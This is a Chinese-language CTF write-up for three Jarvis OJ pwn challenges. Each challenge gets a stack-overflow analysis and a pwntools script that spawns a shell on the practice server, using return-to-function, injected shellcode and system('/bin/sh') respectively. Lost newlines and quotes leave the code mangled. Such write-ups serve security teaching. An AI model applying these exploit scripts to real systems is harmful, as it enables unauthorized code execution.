Jarvis_Oj Pwn Writeup

這份writeup會涵蓋所有jarvis_oj上的pwn題目,從[Xman]系列開始,逐漸補全。


[Xman] challenges

1. [XMAN]level0

題目:nc pwn2.jarvisoj.com 9881dn.jarvisoj.com/challen

writeup:

首先shift+F12查找字元串,觀察到關鍵函數vulnerable_function():

ssize_t vulnerable_function()n{n char buf; // [sp+0h] [bp-80h]@1nn return read(0, &buf, 0x200uLL);n}n

很明顯,buffer的大小是0x80,而read函數直接讀取0x200的數據,有典型的棧溢出漏洞。由於rbp中有0x8個位元組,我們的padding需要0x80 + 0x8位元組。填滿buffer後調用callsystem函數即可get shell。腳本如下:

#!/usr/bin/env pythonn# -*- coding:utf-8 -*-nnfrom pwn import *nnsh = remote(pwn2.jarvisoj.com, 9881)nnpadding = A * 0x88ncallsystem = 0x400596nn#構造payload。npayload = padding + p64(callsystem)nn#交互nsh.send(payload)nsh.interactive()n

註:p64()默認將int轉為little-endian bytes。32位文件用p32()。例如:

>>> p64(0xdeadbeef)nxefxbexadxden

參考:docs.pwntools.com/en/st

2. [XMAN]level1

題目:nc pwn2.jarvisoj.com 9877level1.80eacdcd51aca92af7749d96efad7fb5

writeup:

同樣的,觀察到vulnerable_function()函數:

ssize_t vulnerable_function()n{n char buf; // [sp+0h] [bp-88h]@1nn printf("Whats this:%p?n", &buf);n return read(0, &buf, 0x100u);n}n

這次沒有callsystem函數,需要生成shellcode。checksec觀察,發現沒有開啟NX保護,可以插入shellcode。這裡buf有0x88個位元組,再加上ret本身的0x4個位元組,偏移量為0x8C,還要減去shellcode的長度。連接到伺服器,發現每次會隨機給出一個地址,類似這樣:

root@kali:~# nc pwn2.jarvisoj.com 9877nWhats this:0xfffd4650?n

編寫腳本的時候要讀取這個地址,將其定義為buf_addr。 腳本如下:

#!/usr/bin/env pythonn# -*- coding: utf-8 -*-nfrom pwn import *nn#調用pwntools自帶的功能生成shellcodenshellcode = asm(shellcraft.sh())nnio = remote(pwn2.jarvisoj.con, 9877)nn#提取給出的地址並將string轉為intnbuf_addr = int(io.recvline()[14:-2], 16)nn#構造payloadnpayload = shellcode + A * (0x8C -len(shellcode)) + p32(buf_addr)nnio.send(payload)nio.interactive()n

3. [XMAN]level2

題目:nc pwn2.jarvisoj.com 9878

level2.54931449c557d0551c4fc2a10f4778a1

writeup:

依然有一個vulnerable function:

ssize_t vulnerable_function()n{n char buf; // [esp+0h] [ebp-88h]nn system("echo Input:");n return read(0, &buf, 0x100u); //read溢出n}n

shift+F12發現有「/bin/sh」,然後又發現一個system函數:

; int system(const char *command)nextrn system:nearn

我們需要構造system("/bin/sh")。腳本如下:

#!/usr/bin/env pythonn# -*- coding: utf-8 -*-nfrom pwn import *nn#指定elf文件nelf = ELF(./level2)n#定位system函數地址nsys_addr = elf.symbols[system]n#定位/bin/sh的地址nsh_addr = elf.search(/bin/sh).next()nn#注意這裡的p32(4)是虛擬的返回地址,輸入什麼都可以npayload = A * 0x8C + p32(sys_addr) + p32(4) + p32(sh_addr)nnsh = remote(pwn2.jarvisoj.com, 9878)nsh.send(payload)nsh.interactive()n

得到flag。

推薦閱讀:

刺風有道,吳翰清的雲端飛揚
如何看待360補天漏洞響應平台做秀把美的的漏洞全部曝光的事情?
ZoomEye 的網站指紋是什麼概念,如何應用?
探索網路安全 共建網路強國
交友軟體是怎麼知道我的姓名和電話號碼的?

TAG:pwn | 信息安全 | CTFCaptureTheFlag |